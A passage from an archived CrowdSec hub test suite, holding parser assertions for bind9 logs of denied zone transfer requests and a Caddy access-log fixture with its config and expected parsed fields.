results["s01-parse"]["mstilkerich/bind9"][2].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Meta["source_ip"] == "164.92.117.245" results["s01-parse"]["mstilkerich/bind9"][2].Evt.Meta["datasource_path"] == "bind9-syslog.log" results["s01-parse"]["mstilkerich/bind9"][3].Success == true results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["remote_port"] == "62449" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["timestamp"] == "03-Nov-2022 13:34:52.235" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["ts_m"] == "Nov" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["ts_ms"] == "235" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["ts_y"] == "2022" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["message"] == "03-Nov-2022 13:34:52.235 security: error: client @0x7fb04c007328 2003:f8:733:b600:6018:bbe4:d0ed:22#62449 (example.com): zone transfer 'example.com/AXFR/IN' denied" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["remote_addr"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["ts_d"] == "03" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Parsed["ts_t"] == "13:34:52" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Meta["source_ip"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Meta["datasource_path"] == "bind9-syslog.log" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][3].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][4].Success == true results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["ts_y"] == "2022" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["message"] == "03-Nov-2022 13:37:23.345 error: client @0x7f7b200091e8 2003:f8:733:b600:6018:bbe4:d0ed:22#62465 (example.com): zone transfer 'example.com/AXFR/IN' denied" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["ts_d"] == "03" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["remote_port"] == "62465" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["timestamp"] == "03-Nov-2022 13:37:23.345" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["ts_m"] == "Nov" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["ts_ms"] == "345" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["ts_t"] == "13:37:23" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Parsed["remote_addr"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Meta["source_ip"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Meta["datasource_path"] == "bind9-syslog.log" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][4].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][5].Success == true results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["ts_m"] == "Nov" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["remote_addr"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["timestamp"] == "03-Nov-2022 13:37:37.525" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["remote_port"] == "62466" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["ts_d"] == "03" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["ts_ms"] == "525" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["ts_t"] == "13:37:37" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["ts_y"] == "2022" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["message"] == "03-Nov-2022 13:37:37.525 security: client @0x7f3f9c009168 2003:f8:733:b600:6018:bbe4:d0ed:22#62466 (example.com): zone transfer 'example.com/AXFR/IN' denied" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Meta["source_ip"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Meta["datasource_path"] == "bind9-syslog.log" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][5].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][6].Success == true results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["message"] == "03-Nov-2022 13:38:37.525 client @0x7fa0a4137838 2003:f8:733:b600:2c44:fab4:5e6e:d791#61738 (example.com): bad zone transfer request: 'example.com/IN': non-authoritative zone (NOTAUTH)" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["remote_addr"] == "2003:f8:733:b600:2c44:fab4:5e6e:d791" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["ts_d"] == "03" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["ts_y"] == "2022" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["remote_port"] == "61738" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["timestamp"] == "03-Nov-2022 13:38:37.525" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["ts_m"] == "Nov" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["ts_ms"] == "525" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Parsed["ts_t"] == "13:38:37" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Meta["datasource_path"] == "bind9-syslog.log" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][6].Evt.Meta["source_ip"] == "2003:f8:733:b600:2c44:fab4:5e6e:d791" results["s01-parse"]["mstilkerich/bind9"][7].Success == true results["s01-parse"]["mstilkerich/bind9"][7].Evt.Parsed["message"] == "security: client @0x7f37ac012d98 2003:f8:733:b600:6018:bbe4:d0ed:22#62518 (example.com): zone transfer 'example.com/AXFR/IN' denied" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Parsed["remote_addr"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Parsed["remote_port"] == "62518" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Meta["datasource_path"] == "bind9-syslog.log" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][7].Evt.Meta["source_ip"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][8].Success == true results["s01-parse"]["mstilkerich/bind9"][8].Evt.Parsed["program"] == "named" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Parsed["remote_port"] == "62524" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Parsed["message"] == "client @0x7f8ac00071e8 2003:f8:733:b600:6018:bbe4:d0ed:22#62524 (example.com): zone transfer 'example.com/AXFR/IN' denied" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Parsed["remote_addr"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Meta["datasource_path"] == "bind9-syslog.log" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Meta["log_type"] == "bind9_denied" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Meta["service"] == "bind9" results["s01-parse"]["mstilkerich/bind9"][8].Evt.Meta["source_ip"] == "2003:f8:733:b600:6018:bbe4:d0ed:22" hub1/.tests/bind9-syslog/scenario.assert000066400000000000000000000000001437532772500205130ustar00rootroot00000000000000hub1/.tests/caddy-logs/000077500000000000000000000000001437532772500152025ustar00rootroot00000000000000hub1/.tests/caddy-logs/caddy-logs.log000066400000000000000000000056261437532772500177440ustar00rootroot00000000000000{"level":"error","ts":1629470295.021685,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_addr":"4.3.2.1:56466","proto":"HTTP/1.1","method":"GET","host":"1.2.3.4","uri":"/","headers":{"User-Agent":["curl/7.68.0"],"Accept":["*/*"]}},"common_log":"4.3.2.1 - - [20/Aug/2021:14:38:15 +0000] \"GET / HTTP/1.1\" 401 0","duration":1.454630671,"size":0,"status":401,"resp_headers":{"Server":["Caddy"],"Www-Authenticate":["Basic realm=\"restricted\""]}} {"level":"error","ts":1649314776.603171,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"127.0.0.1","remote_port":"28728","proto":"HTTP/2.0","method":"POST","host":"www.bmunro.xyz","uri":"/client","headers":{"X-Forwarded-For":["1.2.3.4"],"Cf-Ray":["6f80e1a9bf8f3ea5-CPT"],"Content-Length":["27"],"Origin":["127.0.0.1"],"Cdn-Loop":["cloudflare"],"Accept-Encoding":["gzip"],"Accept":["application/json, text/plain, */*"],"Authorization":[],"Sec-Ch-Ua-Platform":["\"Windows\""],"Sec-Fetch-Mode":["cors"],"Referer":["127.0.0.1/"],"Cf-Ipcountry":["ZA"],"Cf-Visitor":["{\"scheme\":\"https\"}"],"Sec-Ch-Ua":["\"Chromium\";v=\"98\", \" Not A;Brand\";v=\"99\""],"Content-Type":["application/json"],"Sec-Fetch-Dest":["empty"],"Cf-Connecting-Ip":["1.2.3.4"],"X-Forwarded-Proto":["https"],"Sec-Fetch-Site":["same-origin"],"Accept-Language":["en-GB,en-ZA;q=0.9,en-US;q=0.8,en;q=0.7"],"Cookie":[],"Sec-Ch-Ua-Mobile":["?0"],"User-Agent":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.141 Safari/537.36"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"h2","server_name":"www.bmunro.xyz"}},"user_id":"","duration":0.000989896,"size":141,"status":401,"resp_headers":{"Server":["Caddy"],"Content-Type":["application/json"],"Date":["Thu, 07 Apr 2022 06:59:36 GMT"],"Content-Length":["141"]}} {"level":"info","ts":1672221106.8667448,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"172.17.0.1","remote_port":"44746","proto":"HTTP/1.1","method":"GET","host":"localhost","uri":"/?test=123","headers":{"User-Agent":["curl/7.82.0"],"Accept":["*/*"]}},"user_id":"","duration":0.000114941,"size":12226,"status":200,"resp_headers":{"Server":["Caddy"],"Etag":["\"rjd8q99fm\""],"Content-Type":["text/html; charset=utf-8"],"Last-Modified":["Fri, 07 Oct 2022 04:34:57 GMT"],"Accept-Ranges":["bytes"],"Content-Length":["12226"]}} {"level":"info","ts":1672221134.5412338,"logger":"http.log.access.log0","msg":"handled request","request":{"remote_ip":"172.17.0.1","remote_port":"44256","proto":"HTTP/1.1","method":"GET","host":"localhost","uri":"/?test=123&123=test","headers":{"User-Agent":["curl/7.82.0"],"Accept":["*/*"]}},"user_id":"","duration":0.000148591,"size":12226,"status":200,"resp_headers":{"Content-Length":["12226"],"Server":["Caddy"],"Etag":["\"rjd8q99fm\""],"Content-Type":["text/html; charset=utf-8"],"Last-Modified":["Fri, 07 Oct 2022 04:34:57 GMT"],"Accept-Ranges":["bytes"]}}hub1/.tests/caddy-logs/config.yaml000066400000000000000000000003301437532772500173270ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/caddy-logs - crowdsecurity/http-logs - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" collections: [] log_file: caddy-logs.log log_type: caddy hub1/.tests/caddy-logs/parser.assert000066400000000000000000001050621437532772500177250ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 4 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "caddy" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "{\"level\":\"error\",\"ts\":1629470295.021685,\"logger\":\"http.log.access.log0\",\"msg\":\"handled request\",\"request\":{\"remote_addr\":\"4.3.2.1:56466\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"1.2.3.4\",\"uri\":\"/\",\"headers\":{\"User-Agent\":[\"curl/7.68.0\"],\"Accept\":[\"*/*\"]}},\"common_log\":\"4.3.2.1 - - [20/Aug/2021:14:38:15 +0000] \\\"GET / HTTP/1.1\\\" 401 0\",\"duration\":1.454630671,\"size\":0,\"status\":401,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Www-Authenticate\":[\"Basic realm=\\\"restricted\\\"\"]}}" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "caddy-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "{\"level\":\"error\",\"ts\":1649314776.603171,\"logger\":\"http.log.access.log0\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"127.0.0.1\",\"remote_port\":\"28728\",\"proto\":\"HTTP/2.0\",\"method\":\"POST\",\"host\":\"www.bmunro.xyz\",\"uri\":\"/client\",\"headers\":{\"X-Forwarded-For\":[\"1.2.3.4\"],\"Cf-Ray\":[\"6f80e1a9bf8f3ea5-CPT\"],\"Content-Length\":[\"27\"],\"Origin\":[\"127.0.0.1\"],\"Cdn-Loop\":[\"cloudflare\"],\"Accept-Encoding\":[\"gzip\"],\"Accept\":[\"application/json, text/plain, */*\"],\"Authorization\":[],\"Sec-Ch-Ua-Platform\":[\"\\\"Windows\\\"\"],\"Sec-Fetch-Mode\":[\"cors\"],\"Referer\":[\"127.0.0.1/\"],\"Cf-Ipcountry\":[\"ZA\"],\"Cf-Visitor\":[\"{\\\"scheme\\\":\\\"https\\\"}\"],\"Sec-Ch-Ua\":[\"\\\"Chromium\\\";v=\\\"98\\\", \\\" Not A;Brand\\\";v=\\\"99\\\"\"],\"Content-Type\":[\"application/json\"],\"Sec-Fetch-Dest\":[\"empty\"],\"Cf-Connecting-Ip\":[\"1.2.3.4\"],\"X-Forwarded-Proto\":[\"https\"],\"Sec-Fetch-Site\":[\"same-origin\"],\"Accept-Language\":[\"en-GB,en-ZA;q=0.9,en-US;q=0.8,en;q=0.7\"],\"Cookie\":[],\"Sec-Ch-Ua-Mobile\":[\"?0\"],\"User-Agent\":[\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.141 Safari/537.36\"]},\"tls\":{\"resumed\":false,\"version\":772,\"cipher_suite\":4865,\"proto\":\"h2\",\"server_name\":\"www.bmunro.xyz\"}},\"user_id\":\"\",\"duration\":0.000989896,\"size\":141,\"status\":401,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Content-Type\":[\"application/json\"],\"Date\":[\"Thu, 07 Apr 2022 06:59:36 GMT\"],\"Content-Length\":[\"141\"]}}" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "caddy" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "caddy-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "{\"level\":\"info\",\"ts\":1672221106.8667448,\"logger\":\"http.log.access.log0\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"172.17.0.1\",\"remote_port\":\"44746\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"localhost\",\"uri\":\"/?test=123\",\"headers\":{\"User-Agent\":[\"curl/7.82.0\"],\"Accept\":[\"*/*\"]}},\"user_id\":\"\",\"duration\":0.000114941,\"size\":12226,\"status\":200,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Etag\":[\"\\\"rjd8q99fm\\\"\"],\"Content-Type\":[\"text/html; charset=utf-8\"],\"Last-Modified\":[\"Fri, 07 Oct 2022 04:34:57 GMT\"],\"Accept-Ranges\":[\"bytes\"],\"Content-Length\":[\"12226\"]}}" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "caddy" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "caddy-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "{\"level\":\"info\",\"ts\":1672221134.5412338,\"logger\":\"http.log.access.log0\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"172.17.0.1\",\"remote_port\":\"44256\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"localhost\",\"uri\":\"/?test=123&123=test\",\"headers\":{\"User-Agent\":[\"curl/7.82.0\"],\"Accept\":[\"*/*\"]}},\"user_id\":\"\",\"duration\":0.000148591,\"size\":12226,\"status\":200,\"resp_headers\":{\"Content-Length\":[\"12226\"],\"Server\":[\"Caddy\"],\"Etag\":[\"\\\"rjd8q99fm\\\"\"],\"Content-Type\":[\"text/html; charset=utf-8\"],\"Last-Modified\":[\"Fri, 07 Oct 2022 04:34:57 GMT\"],\"Accept-Ranges\":[\"bytes\"]}}" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "caddy" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "caddy-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 4 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false len(results["s01-parse"]["crowdsecurity/caddy-logs"]) == 4 results["s01-parse"]["crowdsecurity/caddy-logs"][0].Success == true results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Parsed["http_user_agent"] == "curl/7.68.0" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Parsed["message"] == "{\"level\":\"error\",\"ts\":1629470295.021685,\"logger\":\"http.log.access.log0\",\"msg\":\"handled request\",\"request\":{\"remote_addr\":\"4.3.2.1:56466\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"1.2.3.4\",\"uri\":\"/\",\"headers\":{\"User-Agent\":[\"curl/7.68.0\"],\"Accept\":[\"*/*\"]}},\"common_log\":\"4.3.2.1 - - [20/Aug/2021:14:38:15 +0000] \\\"GET / HTTP/1.1\\\" 401 0\",\"duration\":1.454630671,\"size\":0,\"status\":401,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Www-Authenticate\":[\"Basic realm=\\\"restricted\\\"\"]}}" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Parsed["program"] == "caddy" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Parsed["remote_addr"] == "4.3.2.1" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Parsed["request"] == "/" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Parsed["timestamp"] == "20/Aug/2021:14:38:15 +0000" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Meta["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Meta["source_ip"] == "4.3.2.1" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Meta["datasource_path"] == "caddy-logs.log" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Meta["http_path"] == "/" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Meta["http_status"] == "401" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Meta["http_user_agent"] == "curl/7.68.0" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/caddy-logs"][0].Evt.Meta["target_fqdn"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Success == true results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Parsed["month"] == "Apr" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Parsed["monthday"] == "07" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Parsed["program"] == "caddy" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Parsed["request"] == "/client" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Parsed["time"] == "06:59:36" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Parsed["timestamp"] == "Thu, 07 Apr 2022 06:59:36 GMT" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Parsed["message"] == "{\"level\":\"error\",\"ts\":1649314776.603171,\"logger\":\"http.log.access.log0\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"127.0.0.1\",\"remote_port\":\"28728\",\"proto\":\"HTTP/2.0\",\"method\":\"POST\",\"host\":\"www.bmunro.xyz\",\"uri\":\"/client\",\"headers\":{\"X-Forwarded-For\":[\"1.2.3.4\"],\"Cf-Ray\":[\"6f80e1a9bf8f3ea5-CPT\"],\"Content-Length\":[\"27\"],\"Origin\":[\"127.0.0.1\"],\"Cdn-Loop\":[\"cloudflare\"],\"Accept-Encoding\":[\"gzip\"],\"Accept\":[\"application/json, text/plain, */*\"],\"Authorization\":[],\"Sec-Ch-Ua-Platform\":[\"\\\"Windows\\\"\"],\"Sec-Fetch-Mode\":[\"cors\"],\"Referer\":[\"127.0.0.1/\"],\"Cf-Ipcountry\":[\"ZA\"],\"Cf-Visitor\":[\"{\\\"scheme\\\":\\\"https\\\"}\"],\"Sec-Ch-Ua\":[\"\\\"Chromium\\\";v=\\\"98\\\", \\\" Not A;Brand\\\";v=\\\"99\\\"\"],\"Content-Type\":[\"application/json\"],\"Sec-Fetch-Dest\":[\"empty\"],\"Cf-Connecting-Ip\":[\"1.2.3.4\"],\"X-Forwarded-Proto\":[\"https\"],\"Sec-Fetch-Site\":[\"same-origin\"],\"Accept-Language\":[\"en-GB,en-ZA;q=0.9,en-US;q=0.8,en;q=0.7\"],\"Cookie\":[],\"Sec-Ch-Ua-Mobile\":[\"?0\"],\"User-Agent\":[\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.141 Safari/537.36\"]},\"tls\":{\"resumed\":false,\"version\":772,\"cipher_suite\":4865,\"proto\":\"h2\",\"server_name\":\"www.bmunro.xyz\"}},\"user_id\":\"\",\"duration\":0.000989896,\"size\":141,\"status\":401,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Content-Type\":[\"application/json\"],\"Date\":[\"Thu, 07 Apr 2022 06:59:36 GMT\"],\"Content-Length\":[\"141\"]}}" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.141 Safari/537.36" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Parsed["remote_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Parsed["tz"] == "GMT" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Parsed["verb"] == "POST" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Parsed["year"] == "2022" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Parsed["day"] == "Thu" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Meta["datasource_path"] == "caddy-logs.log" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Meta["http_path"] == "/client" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Meta["http_status"] == "401" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Meta["target_fqdn"] == "www.bmunro.xyz" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.141 Safari/537.36" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Meta["http_verb"] == "POST" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/caddy-logs"][1].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Success == true results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Parsed["message"] == "{\"level\":\"info\",\"ts\":1672221106.8667448,\"logger\":\"http.log.access.log0\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"172.17.0.1\",\"remote_port\":\"44746\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"localhost\",\"uri\":\"/?test=123\",\"headers\":{\"User-Agent\":[\"curl/7.82.0\"],\"Accept\":[\"*/*\"]}},\"user_id\":\"\",\"duration\":0.000114941,\"size\":12226,\"status\":200,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Etag\":[\"\\\"rjd8q99fm\\\"\"],\"Content-Type\":[\"text/html; charset=utf-8\"],\"Last-Modified\":[\"Fri, 07 Oct 2022 04:34:57 GMT\"],\"Accept-Ranges\":[\"bytes\"],\"Content-Length\":[\"12226\"]}}" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Parsed["program"] == "caddy" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Parsed["remote_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Parsed["request"] == "/?test=123" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Parsed["http_user_agent"] == "curl/7.82.0" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Meta["http_status"] == "200" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Meta["http_user_agent"] == "curl/7.82.0" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Meta["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Meta["datasource_path"] == "caddy-logs.log" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Meta["http_path"] == "/?test=123" results["s01-parse"]["crowdsecurity/caddy-logs"][2].Evt.Meta["target_fqdn"] == "localhost" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Success == true results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Parsed["request"] == "/?test=123&123=test" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Parsed["http_user_agent"] == "curl/7.82.0" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Parsed["message"] == "{\"level\":\"info\",\"ts\":1672221134.5412338,\"logger\":\"http.log.access.log0\",\"msg\":\"handled 